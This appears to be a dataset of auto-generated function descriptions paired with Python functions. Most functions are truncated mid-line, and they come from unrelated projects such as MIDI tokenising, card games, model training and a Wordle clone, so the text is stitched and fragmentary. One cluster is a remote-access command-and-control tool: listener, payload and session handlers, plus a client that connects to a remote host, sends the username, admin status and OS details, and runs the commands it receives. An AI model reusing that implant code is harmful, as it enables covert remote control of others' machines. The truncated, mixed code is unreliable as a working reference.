The main task of the code is to convert a MIDI file into a list of text tokens by quantizing notes, merging tracks, and applying tempo/velocity constraints. It processes the MIDI data to ensure compliance with parameters like track limits, duration, and tempo ranges, then maps tokens to strings while validating for cor...
def midi_to_text_list( midi: MidiFile, nth: int, max_track_number: int, max_duration: int, velocity_step: int, use_cont_note: bool, tempo_quantization: Tuple[int, int, int], # [tempo_min, tempo_max, tempo_step] use_merge_drums: bool) -> list: """ ...
def cardswap(playerTurn, deck, players, main_colour, top_card, flatten_list_cards, all_cards, dummy_card, y_player, x_player): if players[playerTurn].p_type != 'pc': cardToSwap = player_input_card(players, players[playerTurn].cardsInPossession, top_card, main_colour, playerTurn, all_cards, dummy_car...
This function manages a human player's turn in a card game by checking their available cards, enabling card swaps, and enforcing rules for playing compatible cards or drawing new ones when necessary. It ensures players counter the top card if possible, handles card additions from "plus" actions, and updates the game st...
def Playerturn(playerTurn, deck, players, cardstoadd, top_card, old_top_card, ghost_colour, direction, main_colour, all_cards, dummy_card): """Code here is for the human player and their interaction with the game. The program checks the list of cards that the player has and pulls up any compatible. ...
def removeCards(deck_, cards): for card in cards: try: deck_.remove(card) except: print("card ("+str(card)+") is not in deck. Cant be removed. The deck is:") print(deck_) def sayBet(): bet = str(int(round(getBet()*20)*5)) print("saying bet: "+bet) voic...
The function `gotCards` processes received player and dealer cards, prints them, and updates game state. If the dealer has multiple cards, it clears them from the deck, plays a sound, and announces the bet. Otherwise, it determines a decision based on card values, prints it, and plays corresponding audio. The function ...
def gotCards(pcards_, dcards_): global getting print("Got Cards") print(pcards_) print(dcards_) getting = 0 if len(dcards_) > 1: global deck print("all cards on table. store these cards and clear mem") removeCards(deck, pcards_) removeCards(deck, dcards_) ...
def getCards(): global getting getting = 1 def sayBet(): bet = str(int(round(getBet()*20)*5)) print("saying bet: "+bet) voice[bet].play() def shuffle(): global deck deck = [] for i in range(0,52*decks): card = i%13+1 if card > 10: card = 10 deck.append(card)
The function listens for button presses on GPIO pins 19, 13, and 6. When pressed, it triggers actions like playing a sound, printing messages, and calling functions (e.g., getCards(), shuffle()). It tracks button states in a global list, ensuring actions execute only once per press. When buttons are released (LOW input...
def listenPress(): global buttons if GPIO.input(19) == GPIO.HIGH: if buttons[0] == 0: chirp.play() print("press 0 | get cards ") getCards() buttons[0] = 1 if GPIO.input(13) == GPIO.HIGH: if buttons[1] == 0: chirp.play() sayB...
def train_step(self, batch): self.preprocess_batch(batch) # Forward pass output = self.forward_model(batch, self.feature_mask) loss = self.forward_loss(batch, output) # compute the gradient of the loss wrt inputs loss_input_gradient = torch.autograd.grad(inputs=batch['x'...
The main task of the code is to train a neural network model for a specified number of epochs, compute training and test losses for each epoch, and save the results to a JSON file. The code iterates over batches, updates the model using `train_step`, tracks average training loss, evaluates on a test set, and stores los...
def train(self): print('Starting training session..') self.model.train() for epoch in range(self.config.n_epochs): if (epoch+1) % 50 == 0: print(f"Epoch number {epoch}") train_loss = 0 for iteration, batch in tqdm(enumerate(self.train_dataload...
def generate_player_hand(background, tile_counts, label): STARTING_X = 290 STARTING_Y = 640 for i in range(13): suit, tile_value = get_random_tile(tile_counts) card = cv2.imread("./MahjongTiles/" + suit + str(tile_value) + ".jpg") card = cv2.cvtColor(card, cv2.COLOR_BGR2RGB) ...
The code generates synthetic Mahjong images by modifying a background image with player hands, discarded tiles, and peng tiles. It tracks tile counts, writes annotations to a label file, and saves the final image with corresponding metadata. The function creates a realistic training dataset for object detection or clas...
def generate_images(image_num): tile_counts = np.zeros(27) background = cv2.imread("./MahjongTiles/background.jpg") background = cv2.cvtColor(background, cv2.COLOR_BGR2RGB) label = open("./Generated_Data/labels/generated_" + str(image_num) + ".txt", 'w') # label = open("./Data/labels/train/gene...
def work_allocation(self): # Compute the cost matrix which contains distance between each pair of robots in the two teams cost_m = np.zeros((self.num_of_reds, self.num_of_blues)) for i in range(self.num_of_reds): for j in range(self.num_of_blues): if j in self._catche...
The code assigns each red robot to chase a blue robot by predicting a target point, calculating velocity while avoiding obstacles, and publishing movement commands (linear and angular speeds) to pursue the target. It uses work allocation to pair robots, computes relative motion, enforces maximum speed, and applies feed...
def robot_chase_timer(self): red_idxes, blue_idxes = self.work_allocation() # plot_field(self._reds[0].pose, self._blues[0].pose, self._obsts, MAX_LINEAR_SPD_RED) # dwasdaw for idx in range(self.num_of_reds): red_idx, blue_idx = red_idxes[idx], blue_idxes[idx] ...
def pre_model_process(transcript_df, portfolio_df, profile_df): ''' ARGS: transcript_df - Transcript Dataframe portfolio_df - Portfolio Dataframe profile_df - Profile Dataframe RETURNS: df - Dataframe –––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––––...
The code cleans and merges three datasets (portfolio, profile, transcript) by handling missing values, filling NaNs, and simplifying IDs. It optionally builds models, computes missing values for key columns (Age, Gender, Income), and returns a unified cleaned DataFrame for further analysis or modeling.
def clean_data(build_model = True, rs = 42, score = False, compute_nans = True): ''' ARGS: build_models - Choose whether to rebuild models using functions or load from saved models. rs(random_state) - int or RandomState instance, default = 42. Controls the ...
def encrypt2darray(array1): arr_gen1 = np.empty(shape=(array1.shape[0],array1.shape[1]),dtype=PyCtxt) temp=0 for item in array1: temp2=0 for item2 in item: arr_gen1[temp][temp2] = HE.encryptFrac(item2) temp2=temp2+...
The main task of the code is to perform forward propagation in a two-layer neural network using homomorphic encryption. It computes encrypted intermediate values (Z1, A1, Z2, A2) while comparing original and encrypted results for verification. The function returns the sigmoid-activated output A2 and a cache of unencryp...
def forward_propagation(X, parameters): """ Argument: X -- input data of size (n_x, m) parameters -- python dictionary containing your parameters (output of initialization function) Returns: A2 -- The sigmoid output of the second activation cache -- a dictionary containing "Z1", "A1", "...
def lines(input): """Remove comments and empty lines""" for raw_line in input: line = raw_line.strip() if line and not line.startswith('#'): yield strip_comments(line) def format_until(until): n = len(until) if n == 0: return None if n == 1: return int(unt...
The code processes input lines to parse and structure zone and rule data. It writes a header to the output, then iterates through each line, building nested dictionaries for zones and rules. When encountering 'Zone', it constructs a hierarchical zone structure and collects observance data. For 'Rule', it categorizes en...
def compile_stream(input, output, header=HEADER): output.write(header) observances = state = None zones = {} rules = {} for line in lines(input): fields = line.split() if fields[0] == 'Zone': names = fields[1].split('/') z = zones for name in names...
def read_core_shape_solve_result_from_file(filename): """ Reads `filename` and constructs the `CoreShapeSolveResult` data. """ assert os.path.exists(filename) solve_result = CoreShapeSolveResult() with open(filename, 'r') as f: lines = f.readlines() assert len(lines) == len(datac...
The function `compute_core_shapes` computes budget-constrained core shapes for multiple budgets using specified algorithms (e.g., HOSVD variants or RRE-greedy). It processes each budget, reusing precomputed unfolded singular values to optimize efficiency. Results are cached in files to avoid redundant calculations acro...
def compute_core_shapes(X, budgets, algorithm, output_path, trial=0): """ Computes budget-constrained core shapes for `budgets` using `algorithm`. Args: - X: Input tensor. - budgets: List of budgets that all share the same HOSVD computation. - algorithm: string specifying algorith (...
def find_combos(arr): combos = [] for i in range(len(arr) - 1, 0, -1): data = [] combination_util(combos, arr, len(arr), i, 0, deepcopy(data), 0) return combos def find_pairs(combos, arr): pairs = [] for l1 in combos: for l2 in combos: if(sum(l1) != sum(l2)): ...
The code processes an input array by finding combinations, identifying pairs from these combinations, converting numerical pair values to strings, and returning the formatted pairs.
def calculate_arr(arr): combos = find_combos(arr) pairs = find_pairs(combos, arr) pairs = pairs_num_to_str(pairs) return pairs
def display_sessions(targets): table = Table(title="Sessions") table.add_column("Session", justify="center", style="cyan", no_wrap=True) table.add_column("Status", justify="center", style="cyan", no_wrap=True) table.add_column("Username", justify="center", style="cyan", no_wrap=True) table.add_colum...
This function handles session management commands by dispatching to appropriate handlers based on the input. It checks the command's second argument: '-l' lists sessions, '-i' starts an interactive session, and '-k'/'--kill' terminates sessions. The session_counter variable is initialized but not used in the current lo...
def handle_sessions(command, targets): session_counter = 0 if command.split(" ")[1] == '-l': display_sessions(targets) elif command.split(" ")[1] == '-i': handle_interactive_session(command, targets) elif command.split(" ")[1] == '-k' or command.split(" ")[1] == '--kill': handle_...
def outbound(sock, message): response = str(message) response = base64.b64encode(response.encode('utf-8')) sock.send(response) def inbound(sock): print('[+] Awaiting response...') message = sock.recv(1024).decode() message = base64.b64decode(message).decode().strip() return message def proce...
This code establishes a socket connection to a remote server, sends system information (username, admin status, OS details), and processes incoming commands. It maintains a session until receiving an 'exit' command, which terminates the connection.
def session_handler(sock, target_ip, target_port): print(f'[+] Connecting to {target_ip}.') sock.connect((target_ip, target_port)) outbound(sock, os.getlogin()) outbound(sock, windll.shell32.IsUserAnAdmin()) time.sleep(1) op_sys = f'{platform.uname()[0]} {platform.uname()[2]}' outbound(soc...
def help(): print(''' Commands --------------------------------- Listener Commands --------------------------------------------------------------------------------------- listeners -g --generate --> Generate Listener Session Commands ---------------------------------------...
This function processes commands by routing them to appropriate handlers, managing listeners, payloads, sessions, and termination logic, while updating the listener counter and returning it.
def handle_command(command, targets, sock, listener_counter, kill_flag): if command == 'help': help() elif command == 'exit': handle_exit(targets, sock, listener_counter, kill_flag) elif command.startswith('listeners'): listener_counter = handle_listener(command, listener_counter) ...
def delete_letter(self): box = self.get_previous_box() if box is not None: box.setText("") box.setStyleSheet(BoxStyleSheet.EMPTY.value) self.letter_count -= 1 self.current_word = self.current_word[:-1] def check_word(self): game_analyse = game.anal...
This code handles keyboard input in a GUI application, processing backspace, enter, and other key presses to delete letters, check words, and add lowercase letters to an interface, likely for text-based interactions like games or input validation.
def keyPressEvent(self, event): if event.key() == Qt.Key_Backspace: self.delete_letter() elif event.key() == Qt.Key_Return: self.check_word() elif len(event.text()) > 0: self.add_letter(event.text()[0].lower())
def __dump_global_instance(self, fqdn, tar): _, instance = self.__get_global_instance(fqdn) if not instance: Logger.exception("global/instances document %s not found", fqdn) self.__dump_to_json(tar, "global", [instance]) def __related_dbs(self, fqdn): prefix = self.__instance...
The main task of the code is to dump CouchDB data associated with a given fully qualified domain name (fqdn) into a tar archive. It first dumps a global instance and then iterates over related databases, dumping each into the same tar file for backup or archival purposes.
def __dump_couchdb(self, fqdn, tar): self.__dump_global_instance(fqdn, tar) for db in self.__related_dbs(fqdn): self.__dump_db(db, tar)
def __related_dbs(self, fqdn): prefix = self.__instance_prefix(fqdn) regex = re.compile("^%s(/.*)$" % re.escape(prefix)) for db in self.__server: if regex.match(db): yield self.__server[db] def __delete_db(self, db): Logger.info("Delete CouchDB %s", db.name) ...
This function restores CouchDB databases from a tar archive by first deleting existing related databases, then extracting JSON content from the archive. It handles "global.json" separately by deleting the global instance and restoring it, while other databases are restored with a prefix derived from the FQDN. The proce...
def __restore_couchdb(self, fqdn, tar): for db in self.__related_dbs(fqdn): self.__delete_db(db) members = self.__extract_couchdb_members(tar) for member in members: db = member.name content = tar.extractfile(member) content = content.read().decod...
def __slug(self, fqdn): slug, *domain = fqdn.split(".", 1) domain = list_safe_get(domain, 0) return slug, domain def __issue_certificate(self, slug, domain): apps = self.__installed_apps(slug, domain) csr = self.__create_csr(slug, domain, apps=apps) self._issue_certificat...
The code creates an instance with a given FQDN and email, retrieves a registration token, installs default apps, generates a certificate, sets up a virtual host, and logs an onboarding URL for registration.
def create_instance(self, args): fqdn = args.fqdn email = args.email Logger.info("Create instance %s with email %s", fqdn, email) o, *_ = Cmd.stack("instances", "add", fqdn, "--email", email) for line in o.splitlines(): match = re.search("^Registration token: \"(.*)\...
def __slug(self, fqdn): slug, *domain = fqdn.split(".", 1) domain = list_safe_get(domain, 0) return slug, domain def __get_crt(self, slug, domain): file = self._file("%s.%s.crt" % (slug, domain)) if not os.path.isfile(file): return None crt = self._read_crt(fi...
The code regenerates SSL certificates by comparing existing domains (from a certificate) with newly installed applications. It identifies added/removed domains, logs changes, and issues a new certificate if updates are needed.
def regenerate(self, args): fqdn = args.fqdn slug, domain = self.__slug(fqdn) crt = self.__get_crt(slug, domain) if crt: _, old = self._extract_x509_domains(crt) else: old = set() new = self.__installed_apps(slug, domain) new = set([self....
def _delete_letter(self): if(self.current_column <= 0): return self.current_column -= 1 self.grid[self.current_row][self.current_column].configure(text="") self.guess_button.config(state="disabled") def _evaluate_guess(self): guess = "".join([self.grid[self.curr...
This method handles keyboard input for a guessing game interface. It processes backspace, enter, and other keys to delete letters, submit guesses (if allowed), or place letters. It respects attempt limits and disables the guess button when necessary, ensuring valid interactions within the game's constraints.
def _input_key(self, event): if self.current_row >= MAX_ATTEMPTS: return event_key = event.keysym if(event_key == "BackSpace"): self._delete_letter() elif(event_key == "Return" and not self.guess_button.cget("state") == "disabled"): self._evaluate_...
def fetch_result_for_search_query(query, max_results): """fetch the latest videos for a search query using youtube_api. :param query: search query. :param max_results: maximum number of results using the youtube_api. :return: dictionary of all the videos. """ api_keys = models.APIKey.objects.fi...
The main task of the code is to retrieve the most recent video upload time from search results by parsing publishedAt timestamps, storing each video in a database, and returning the latest datetime object. It fetches up to 10 "today news" results, processes their publication dates, and identifies the maximum datetime v...
def get_most_recent_video_time(): """get most recent time for uploaded video. :return: datetime object """ recent_date_time = '' search_results = fetch_result_for_search_query('today news', 10) if search_results == {}: return for result in search_results: video_date_time_o...
def main_train_fast(layers, noise_levels, decays, epochs, criterion, lr, parent_dir, save_path, n_average_train): models_all = {} print('done') for noise_lv in noise_levels: print('training for noise level: ', noise_lv) path = path_gen(parent_dir, layers, noise_lv) # A dictionary that stores res...
(The main task of the code is to train neural networks with specified layers and noise levels, evaluate their performance, and compute covering numbers to analyze model robustness and generalization. It trains models, saves results, identifies optimal models, and calculates covering numbers using various methods (L2, s...
def main(): #Defining layers and noise levels layers = [64,64,64] decays = [0,0,0] noise_levels = np.linspace(0,0.5,11) #noise_levels =[0.05,0.1] epochs = 40 margin = 0.1 lr = 0.3 n_average_training = 1 n_average_train = 50 n_average_validation = 50 n_average_test =...
def clamp(_max, _min, value): if value > _max: return _max if value < _min: return _min return value def findDistance(origin, destination): difference = getLocation(origin) - getLocation(destination) return abs(math.sqrt(sum([x * x for x in difference]))) def calcEnemyTimeWithAcceler...
The function estimates the time for an enemy (phys_obj) to reach a destination, considering acceleration, by adjusting the distance between the object and destination, subtracting 160, and clamping the value to avoid invalid inputs. It then uses this adjusted distance in a separate calculation to return a more accurate...
def enemyArrivalEstimator(agent, phys_obj, destination): distance = clamp( math.inf, 0.00001, findDistance(phys_obj.location, destination) - 160, ) moreAccurateEstimation = calcEnemyTimeWithAcceleration(agent, distance, phys_obj) return moreAccurateEstimation
def clamp(_max, _min, value): if value > _max: return _max if value < _min: return _min return value def distance2D(origin, destination): _origin = getLocation(origin) _destination = getLocation(destination) _origin = Vector([_origin[0], _origin[1]]) _destination = Vector([_d...
The main task of the code is to control an agent's movement toward a target location by calculating steering, throttle, handbrake, and boost actions based on distance, speed, timing constraints, and environmental conditions. It adjusts driving behavior dynamically, prioritizing speed, direction correction, obstacle avo...
def driveController( agent, target, arrivalTime, expedite=False, flippant=False, maintainSpeed=False, ): tta = clamp(6, 0.001, arrivalTime - agent.time) flips_enabled = abs(agent.me.location[1]) <= 5100 _distance = distance2D(agent.me.location, target) ...
def convertStructLocationToVector(struct): return Vector( [ struct.physics.location.x * 1.0, struct.physics.location.y * 1.0, struct.physics.location.z * 1.0, ] ) def enemyArrivalEstimator(agent, phys_obj, destination): distance = clamp( math.inf, ...
This function identifies the closest enemy's potential interception point of the ball by iterating through predicted ball positions. It calculates enemy arrival time at each predicted location, updating interception delay, target coordinates, velocity, and prediction time if the enemy can reach the ball before it arriv...
def findEnemyHits(agent): found = False if agent.closestEnemyToBall: for i in range(0, agent.ballPred.num_slices): if i % 5 != 0: continue pred = agent.ballPred.slices[i] if pred.game_seconds - agent.gameInfo.seconds_elapsed <= 0: conti...
def direction_enhancement(p1, s1, p2, s2): path_de = direction_estimation(p1, s1, p2, s2) # print(path_de) lat_1 = s_to_lat(s1) lat_2 = s_to_lat(s2) if(sat_in_polar_region(s1)): #hop in same plane # print("(1) polar") if(sat_in_polar_region(s2) and ((lat_1>0 and lat_2>0) or (...
The code determines the next hop for a packet based on the specified routing algorithm. For 'test', it increments positions and hops. For 'dra', it applies direction-enhancement and congestion control, updating the packet's next hop (horizontal/vertical), hop count, and propagation delay using geometric calculations. T...
def route(self, packet, algo_type=algo_type): # Calculate next hop for the packet if(algo_type=='test'): packet.next_hop_p = self.p+1 packet.next_hop_s = self.s+1 packet.hops+=1 elif(algo_type=='dra'): path_routed = direction_enhancement(self.p, se...
def view_post(post): #print header print() print(post[1]) date_text = f'{post[3].month}/{post[3].day}/{post[3].year}' print("{:35}{:>20}".format("By: " + post[4], "Created: " + date_text)) print("-" * 55) num_rows = math.ceil(len(post[2])/55) num_character = 0 for i in range(num_row...
The main task of the code is to process user commands for viewing and managing a specific post and its comments in a database. It validates the post ID, fetches post details, displays content, and allows actions like listing comments, navigating pages, flipping comment order, adding/deleting comments, or exiting.
def process_post_commands(cur, id, user): #Check if ID is Valid if not id: print("Please include the id of the post you want to view in the format: open [id]") return if not id.isdigit(): print(id, "is not a valid id") return id = int(id) cur.execute('SELECT * FROM p...
def translatePath(p): pp = os.path.abspath(p) if _isWindowsPath(p) and getFoamRuntime() == "BashWSL": pp = _fromWindowsPath(pp) if pp.find('"') < 0: # using double quote to protect space within path, if not yet provided pp = '"' + pp + '"' return pp def runFoamCommand(cmd): """ run ...
This function converts mesh files to OpenFOAM format by detecting input type (.unv or .msh), executing conversion tools, applying scaling from CAD (mm) to SI (m) units if specified, and setting default boundary types to 'wall'. It handles path translation, error checking for unsupported formats, and outputs conversion ...
def convertMesh(case, mesh_file, scale): """ see all mesh conversion tool for OpenFoam: <http://www.openfoam.com/documentation/user-guide/mesh-conversion.php> scale: CAD has mm as length unit usually, while CFD meshing using SI unit metre """ mesh_file = translatePath(mesh_file) if mesh_file.f...
def parameters_handler(): global DESCRIPTION parser = ArgumentParser(description='The script list the EC2 Instances with their associated Security Groups.\n\n' 'Script Usage:\n\n' '\tpython3 list_ec2.py --detailed --custom-profile ...
The main task of the code is to handle parameters, initialize a CSV file with headers, and fetch data instances. The `parameters_handler()` processes input parameters, `write_csv_header()` prepares the CSV structure, and `fetch_instances()` retrieves data to be written into the CSV file. Together, they set up a workflo...
def main(): parameters_handler() write_csv_header() fetch_instances()
def train(model, epoch, args, device, train_loader, optimizer, masks = None): global start_epoch start_epoch = time.time() model.train() accuracy=0 total_loss = 0 last_tick = time.time() - 2 for batch_idx, (data, target) in enumerate(train_loader): data, target = data.to(device), tar...
The main task of the code is to train a ResNet20 model on a specified dataset (e.g., CIFAR-10) with configurable data augmentation (cutout, mixup, etc.), learning rates, and pruning strategies. It performs standard training, saves the best model, applies weight pruning based on sorted parameter magnitudes, and evaluate...
def main(): # Training settings parser = argparse.ArgumentParser(description='SWD') # Mandatory Arguments parser.add_argument('--dataset', type=str, default="cifar10", help="The dataset to consider") parser.add_argument('--lr', type=float, default=.1, metavar='LR', ...
def gw_strain(self, semi, ecc, m1, m2): """ Use of eqn (7) Kremer et al. 2018. Use of eqn (20) of Peters and Matthews (1963). At 1Mpc, z ~ 0.0228 from cosmology calc. Inputs: semi: The semi-major axes of the system ecc: The eccentricity of the binary...
The code extracts and processes gravitational wave (GW) data from particle trajectories in simulated astrophysical systems (Hermite/GRX). It identifies binary/tertiary interactions, calculates GW parameters (strain, frequency, harmonics), tracks mergers, and logs event statistics. Results are saved as structured pickle...
def new_data_extractor(self): """ Script to extract data from recently simulated runs """ print('!!!!!! WARNING THIS WILL TAKE A WHILE !!!!!!!') Hermite_data = glob.glob(os.path.join('/media/erwanh/Elements/Hermite/particle_trajectory_tGW_new/*')) chaoticH = ['data/Hermi...
def combine_data(self, filter, integ, write_file): """ Function which extracts ALL data and provides the merger rate of the system. """ self.sim_time = [ ] self.pop = [ ] self.close_enc = [ ] self.mass_SMBH = [ ] self.mass_parti = [ ] sel...
The function generates amplitude histograms for gravitational wave strains and frequencies from IMBH-IMBH and SMBH-IMBH binary events, plotting them in a shared-axis diagram. It filters events by distance 1 parsec) and mass 40), separates data by black hole type, calculates extreme strain/frequency values, and saves pl...
def strain_freq_plotter(self): """ Function which plots the amplitude histogram for all sets of particle. """ plot_ini = plotter_setup() data_idx = 0 self.combine_data('integrator', self.integrator[data_idx], True) print('Plotting Strain Frequency Diagram...
def set_leaf(self, node, y, X): """ Transforms generic node into leaf :param node: generic node to transform into leaf :param data: node data used to define node size and data indexes corresponding to node """ node.type = 1 node.data = X self.leaf_nodes.a...
The code recursively builds a decision tree using incremental weighted Kendall, processing nodes from a queue. It checks conditions to set leaf nodes (for empty data, single samples, duplicates, or max depth/nodes limits), splits data based on the best feature/value, creates child nodes, and manages queues for further ...
def build(self, low_bound_layer): """ Function which recursively builds the tree using incremental weighted kendall :param node: current node :param data: data corresponding to current node """ self.queue2 = collections.deque() low_bound = low_bound_layer ...
def _set_seed(self): # Set seed based on args.seed and the update number so that we get # reproducible results when resuming from checkpoints seed = self.args.seed + self.get_num_updates() torch.manual_seed(seed) if self.cuda: torch.cuda.manual_seed(seed) def get_num_...
This function trains the model for one epoch using the provided training data. It processes each batch, computes loss, performs gradient updates with clipping, logs training metrics like loss and tokens, and returns aggregated logging outputs. The training loop includes CUDA operations, progress tracking, and optimizer...
def run_epoch(self, train_dataloader, train_sampler, epoch): """Performs one complete pass over the train set and evaluate on devlopment set. Args: train (DataLoader): training set dataloader. epoch (int): index of the current epoch. """ self.model.train() ...
def run_epoch(self, train_dataloader, train_sampler, epoch): """Performs one complete pass over the train set and evaluate on devlopment set. Args: train (DataLoader): training set dataloader. epoch (int): index of the current epoch. """ self.model.train() ...
This code trains a model using distributed training, iterating over epochs with a dataloader and sampler. It evaluates the model on a development set after each epoch, logs metrics, and implements early stopping based on validation accuracy. If performance improves, it saves the model; otherwise, it terminates training...
def train(self, train_dataloader, train_sampler, dev, samples=None): """Train the model and evaluate after each epoch.""" if self.rank == 0: self.logger.info('- start training...') best_score, nepoch_no_imprv = 0, 0 # for early stopping for epoch in range(self.args.max_epoc...
def setup(run_num, ent_num, pol): #dd= bt.DataDirectory() #r=dd.run(run_num) #e = r.get_entry(ent_num) #times = r.get_entry(ent_num).times() d = bdr.Reader(os.environ['BEACON_DATA_DIR'], run_num) d.setEntry(ent_num) times = d.t() if(pol == 1): #Hpol #ADC0 = np.asarray(e.channel...
The main task of the code is to process and correlate voltage signals from multiple antennas after aligning and applying time delays based on input parameters theta and phi. It initializes antenna positions, retrieves voltage data, aligns signals, delays them according to propagation models, and computes correlations t...
def main(theta, phi): #Set these variables before running: run_num = 1507 ent_num = 18453 pol = 0 #1 for Hpol, 0 for Vpol os.environ["BEACON_DATA_DIR"]="/data/beacon/data/" #Antenna Positions A0 = Antenna(0,0,0) A1 = Antenna(-33.49373061801294, -12.216161215847706, 15.23990049241125) #...
def generate_tree(K, S, alpha, tree_type, eta_min=1e-30): parents = make_parents(K, tree_type) #leaves = np.flatnonzero(np.sum(adjm, axis=1) == 0) adjm = util.convert_parents_to_adjmatrix(parents) Z = util.make_ancestral_from_adj(adjm) # (K+1)x(K+1) eta = np.random.dirichlet(alpha = (K+1)*[alpha], size=S).T #...
The function generates synthetic genomic data, including mutations (SSMs), copy number alterations (CNAs), and their interactions. It constructs a phylogenetic tree, segments the genome, simulates CNA events, and generates SSMs with clustering and timing information. The output includes structured data (simdata) and pa...
def generate_data(K, S, T, M, C, H, G, garbage_type, min_garb_pairs, min_garb_phi_delta, min_garb_samps, alpha, tree_type): # K: number of clusters (excluding normal root) # S: number of samples # T: reads per mutation # M: total number of SSMs # C: total number of CNAs # H: number of genomic segments plo...
def Search(self,Text,**kwargs): ''' Description: Returns an Python dict object with the cords of specified object in the search. Ex: session=attachMate().getActiveSession() xdriver=extradriver(session) print(xdriver.Search('User . . . . . . . . ...
The main task of the code is to input text into the next editable field located to the right of a specified object. It achieves this by locating the object's coordinates, identifying the adjacent editable field, and placing the provided text there. The function also copies all content afterward.
def writeOn(self,ExtraObject,text,**kwargs): ''' Description: Put the text on the next editable field at the right of the ExtraObject described Ex: xdriver.writeOn('User . . . ',Username) ''' objectCords=self.Search(ExtraObject) self.SelectEx...
def _do_api_call(self, url, tries = 0): """Executes api call and returns json object""" _logger.debug(f'Doing API call with url: {url}') if tries > 3: raise ArrisDCX960ConnectionError("API call failed. See previous errors.") headers = { "X-OESP-Token": self.sessio...
The main task of the code is to retrieve and categorize recordings from an API response. It processes a JSON result by iterating through "recordings," distinguishing between "single," "season," and "show" types, and appending corresponding processed data to a list using specialized helper methods. The function ultimate...
def get_recordings(self): results = [] json_result = self._do_api_call(self._api_url_recordings) recordings = json_result["recordings"] for recording in recordings: if recording["type"] == "single": results.append(self._get_single_recording(recording)) ...
def get_session_and_token(self): """Get session and token from ArrisDCX960""" self.get_session() self._get_token() def _register_settop_boxes(self): """Get settopxes""" jsonResult = self._do_api_call(self._api_url_settop_boxes) for box in jsonResult: if box["p...
The main task of the code is to establish an MQTT connection to receive data from an ArrisDCX960 device. It retrieves authentication credentials, configures an MQTT client with TLS and WebSocket transport, sets up connection/disconnection callbacks, connects to a broker, registers set-top boxes, loads channels, and sta...
def connect(self, enableMqttLogging: bool = False): """Get token and start mqtt client for receiving data from ArrisDCX960""" self._mqtt_broker = self.country_config["mqtt_url"] self.get_session_and_token() self._api_url_settop_boxes = self.country_config["personalization_url_format"].f...
def concat_bbx_logit_layers(self, objectness:List[Tensor], bbx_regs:List[Tensor]) -> Tuple[Tensor, Tensor]: """ Notes: This function returns all the bbx_reg coordinates for all images in B Note that each image further has bbx coordinates for each feature map For example: x, 4 for...
This code implements the forward pass of a Region Proposal Network (RPN), generating objectness scores and bounding box regressions from feature maps. It creates anchor boxes, decodes proposals, and filters them. During training, it assigns targets to anchors, computes regression targets, and calculates classification/...
def forward(self, images: ImageList, x:Dict[str, Tensor], targets:Optional[List[Dict[str, Tensor]]]=None) -> Tuple[List[Tensor], Dict[str, Tensor]]: feature_maps = list(x.values()) objectness, bbx_regs = self.rpn_head(x) anchors_for_images = self.generate_anchors(images, feature_maps) n...
def clear_all(self): self.P2P_display.p2pTalks.values = [] self.P2P_display.p2pTalks.display() def commandHandler(self, message): message = message.split(' ') command = message[0][1:] args = message[1:] if command in self.command_set: if self.command_set[comma...
The main task of the code is to handle sending chat messages in a P2P application. It retrieves input, validates it, clears the input field, checks for commands (if message starts with '/'), and sends the message via a connected client thread if possible. If the chat history exceeds display limits, it clears old messag...
def sendMessage(self, _input): message = self.P2P_display.chatInput.value if message == "": return False if len(self.P2P_display.p2pTalks.values) > self.P2P_display.y - 11: self.clear_all() self.P2P_display.chatInput.value = "" self.P2P_display.chatInp...
def deposit(): global amount while True: deposit_amount = int(input("Enter the amount: ")) if deposit_amount > 0: amount += deposit_amount print("Deposited ", deposit_amount) checkBalance() break else: print("Enter a number grea...
The main task of the code is to manage a slot machine's menu-driven interface, allowing users to deposit funds, check their balance, withdraw money, play the slot game, or exit. It continuously displays options, processes user input, and calls corresponding functions until the exit option is selected.
def main(): global amount print("Slot machine") while True: print("\n1. Deposit\n2. Check Balance\n3. Withdraw\n4. Play Slot\n5. Exit") choice = input("Enter your choice: ") if choice == '1': deposit() elif choice == '2': checkBalance() el...
def checkWinner(): for i in range(3): if board[i][0]['text'] == board[i][1]['text'] == board[i][2]['text'] != "": board[i][0].config(bg="green") board[i][1].config(bg="green") board[i][2].config(bg="green") return True for i in range(3): if board[0...
The code manages a turn-based game (likely Tic-Tac-Toe), alternating between two players. It updates the board with the current player's symbol, checks for a win or tie, and switches turns. If the first player moves, the AI (second player) responds by selecting an optimal move. The UI label updates to reflect whose tur...
def nextTurn(row, column): global turn if board[row][column]['text'] == "" and checkWinner() is False: if turn == players[0]: board[row][column]['text'] = turn if checkWinner() is False: turn = players[1] turnLabel.config(text=f"{players[1]}'s tur...
def get_clients(self): try: mac_send(self.server, b"?", self.sym_key) except BrokenPipeError: print("Not logged in") return client_list = recv_dec(self.server, self.sym_key) if not client_list: print("Not logged in") return ...
This code implements a command-line interface (CLI) shell for managing client connections. It allows users to retrieve client lists (command 'g'), connect to peers (command 'p'), or quit the application (command 'q'). The shell runs in a loop, processing user input and triggering corresponding actions, while maintainin...
def shell(self): self.running_shell = True print(""" Commands: g: get list of clients p: connect to a client q: quit """) while self.running_shell: cmd = input("> ") if not self.running_shell: sys.stdout.flush() break...
def find_monsters(wrld): """finds position of nearest monster in world""" monsters = [] for x in range(wrld.width()): for y in range(wrld.height()): if wrld.monsters_at(x,y): monsters.append((x,y)) return monsters def find_closest_obj(wrld, objs, x, y): """fi...
The function calculates the distance from a given position (x,y) to the closest monster in the world using A* pathfinding. It returns 1/(path length +1) if a valid path exists, 0.0 if no monsters are present, and 1.0 (high cost) if coordinates are out-of-bounds.
def distance_to_monster(wrld, x, y): """check position of monster relative to character""" monsters = find_monsters(wrld) closest_m = find_closest_obj(wrld, monsters, x, y) # If there is no monster if closest_m == 0: return 0.0 if (x >= 0) and (x < wrld.width()): # Avoid ...
def find_bombs(wrld): """find all bombs in world""" bombs = [] for x in range(wrld.width()): for y in range(wrld.height()): if wrld.bomb_at(x,y): bombs.append((x,y)) return bombs def find_closest_obj(wrld, objs, x, y): """find closest object to character""" i...
This function calculates the normalized distance from a given position (x,y) to the nearest bomb in a game world using the A* pathfinding algorithm. It returns 0.0 if no bombs exist, 1.0/(path_length+1) for valid positions, and 1.0 for out-of-bound coordinates, effectively prioritizing proximity to bombs for pathfindin...
def distance_to_bomb(wrld,x,y): """ Checks the number of moves from character to bomb Returns length of astar path, normalized """ bombs = find_bombs(wrld) closest_b = find_closest_obj(wrld, bombs, x, y) # If there is no monster if closest_b == 0: return 0.0 if (x >= 0...
